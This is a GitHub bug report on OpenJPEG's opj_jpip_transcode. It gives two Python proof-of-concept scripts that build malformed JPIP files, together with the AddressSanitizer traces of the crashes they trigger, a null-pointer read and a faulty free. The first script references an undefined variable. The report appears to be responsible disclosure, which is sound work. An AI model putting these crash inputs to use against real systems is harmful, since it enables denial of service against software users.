Skip to content

[Bug] Two crash in opj_jpip_transcode.c #1617

@ShangzhiXu

Description

@ShangzhiXu

Hi team,
I found another two crash in opj_jpip_transcode.c

I'll first give the poc and come back to provide root causes a little bit later(I analyzed on my own so it;s gonna be a little bit slow and may not be 100% correct😅)

PoC
First one

import struct

def to_vbas(n):
    res = bytearray()
    res.append(n & 0x7F)
    n >>= 7
    while n > 0:
        res.append((n & 0x7F) | 0x80)
        n >>= 7
    return res[::-1]

poc_file = "heap_overflow_poc.jpp"

# generate a jpip file
bin_id = to_vbas(0)
flags = b'\x00' 
msg_class = to_vbas(0) 
csn = to_vbas(0)
offset = to_vbas(0)

length_vbas = to_vbas(big_len)

payload = bin_id + flags + msg_class + csn + offset + length_vbas
data = b'A' * 1024

with open(poc_file, "wb") as f:
    f.write(payload)
    f.write(data)

We'll see

z5500277@katana3:.../openjpeg/build-asan $ ./bin/opj_jpip_transcode heap_overflow_poc.jpp out.jp2
jp2h box not found
Error, message of csn -1 not found
/srv/scratch/z5500277/fuz/openjpeg/src/lib/openjpip/j2kheader_manager.c:55:19: runtime error: applying non-zero offset 1 to null pointer
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /srv/scratch/z5500277/fuz/openjpeg/src/lib/openjpip/j2kheader_manager.c:55:19
/srv/scratch/z5500277/fuz/openjpeg/src/lib/openjpip/j2kheader_manager.c:55:9: runtime error: load of null pointer of type 'Byte_t' (aka 'unsigned char')
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /srv/scratch/z5500277/fuz/openjpeg/src/lib/openjpip/j2kheader_manager.c:55:9
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1562050==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f7136b2709a bp 0x7ffd2aab3fb0 sp 0x7ffd2aab3f40 T0)
==1562050==The signal is caused by a READ memory access.
==1562050==Hint: address points to the zero page.
    #0 0x7f7136b2709a in get_mainheader_from_j2kstream /srv/scratch/z5500277/fuz/openjpeg/src/lib/openjpip/j2kheader_manager.c:55:22
    #1 0x7f7136b2d5ea in recons_codestream_from_JPTstream /srv/scratch/z5500277/fuz/openjpeg/src/lib/openjpip/jp2k_encoder.c:204:10
    #2 0x7f7136b2b8ca in recons_codestream /srv/scratch/z5500277/fuz/openjpeg/src/lib/openjpip/jp2k_encoder.c:156:16
    #3 0x7f7136b2b8ca in recons_jp2 /srv/scratch/z5500277/fuz/openjpeg/src/lib/openjpip/jp2k_encoder.c:129:18
    #4 0x7f7136b355db in decode_jpip /srv/scratch/z5500277/fuz/openjpeg/src/lib/openjpip/openjpip.c:386:27
    #5 0x0000005046e2 in jpip_to_jp2 /srv/scratch/z5500277/fuz/openjpeg/src/bin/jpip/opj_jpip_transcode.c:56:5
    #6 0x0000005046e2 in main /srv/scratch/z5500277/fuz/openjpeg/src/bin/jpip/opj_jpip_transcode.c:120:20
    #7 0x7f713516b7e4 in __libc_start_main (/lib64/libc.so.6+0x3a7e4) (BuildId: 9846edf82646848f2857c47c5a2eb71c288059ec)
    #8 0x00000042a3ad in _start (/srv/scratch/z5500277/fuz/openjpeg/build-asan/bin/opj_jpip_transcode+0x42a3ad) (BuildId: dbdc7cdba8172d0e4b44090e907970fd23a91384)

For the second one

import os

poc_file = "double_free_poc.jpt"
# target size:2^32 + 1 (4294967297 bytes)
target_size = (1 << 32) + 1

with open(poc_file, "wb") as f:

    f.seek(target_size - 1)

    f.write(b"\x00")

Crash

z5500277@katana3:.../openjpeg/build-asan $ ./bin/opj_jpip_transcode double_free_poc.jpt out.jp2
file reading error
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1574872==ERROR: AddressSanitizer: SEGV on unknown address 0x7f26db9fe7f0 (pc 0x00000042c7ab bp 0x000000000000 sp 0x7ffd790b06c0 T0)
==1574872==The signal is caused by a WRITE memory access.
    #0 0x00000042c7ab in __asan::Allocator::Deallocate(void*, unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) (/srv/scratch/z5500277/fuz/openjpeg/build-asan/bin/opj_jpip_transcode+0x42c7ab) (BuildId: dbdc7cdba8172d0e4b44090e907970fd23a91384)
    #1 0x0000004c4b7f in free (/srv/scratch/z5500277/fuz/openjpeg/build-asan/bin/opj_jpip_transcode+0x4c4b7f) (BuildId: dbdc7cdba8172d0e4b44090e907970fd23a91384)
    #2 0x7f27e01505a6 in destroy_jpipdecoder /srv/scratch/z5500277/fuz/openjpeg/src/lib/openjpip/openjpip.c:437:5
    #3 0x00000050476b in jpip_to_jp2 /srv/scratch/z5500277/fuz/openjpeg/src/bin/jpip/opj_jpip_transcode.c:52:9
    #4 0x00000050476b in main /srv/scratch/z5500277/fuz/openjpeg/src/bin/jpip/opj_jpip_transcode.c:120:20
    #5 0x7f27de7857e4 in __libc_start_main (/lib64/libc.so.6+0x3a7e4) (BuildId: 9846edf82646848f2857c47c5a2eb71c288059ec)
    #6 0x00000042a3ad in _start (/srv/scratch/z5500277/fuz/openjpeg/build-asan/bin/opj_jpip_transcode+0x42a3ad) (BuildId: dbdc7cdba8172d0e4b44090e907970fd23a91384)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions